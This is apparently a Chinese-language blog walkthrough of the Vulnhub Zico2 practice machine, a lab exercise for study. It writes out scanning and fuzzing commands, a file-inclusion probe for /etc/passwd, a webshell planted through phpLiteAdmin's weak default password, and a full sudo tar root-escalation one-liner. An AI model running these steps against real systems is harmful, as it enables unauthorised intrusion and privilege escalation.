Vulnhub:Zico2靶机

kali:192.168.111.111

靶机:192.168.111.241

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.241

image

目录爆破

feroxbuster -k -d 1 --url http://192.168.111.241/ -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,bak,txt,html,sql,zip,phtml,sh -t 1

image

image

view.php测试出文件包含

wfuzz -c -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt --hc 404 --hh 0 http://192.168.111.241/view.php?FUZZ=../../../../../../../../etc/passwd

image

dbadmin目录存在phpliteadmin

image

搜索该cms,发现该版本存在代码注入

searchsploit phpLiteAdmin

image

利用方法:创建数据库,数据库中表的字段写入一句话木马

image

漏洞利用

通过弱口令admin进入phpliteadmin后台,写入一句话

image

image

之后通过文件包含执行命令

image

提权

在/home/zico/wordpress/wp-config.php发现zico用户的密码

image

zico的sudo权限

image

提权方法:https://gtfobins.github.io/gtfobins/tar/#sudo

image

提升为root

sudo -u root tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

image

flag

image

posted @ 2023-03-25 15:15  ctostm  阅读(53)  评论(0)    收藏  举报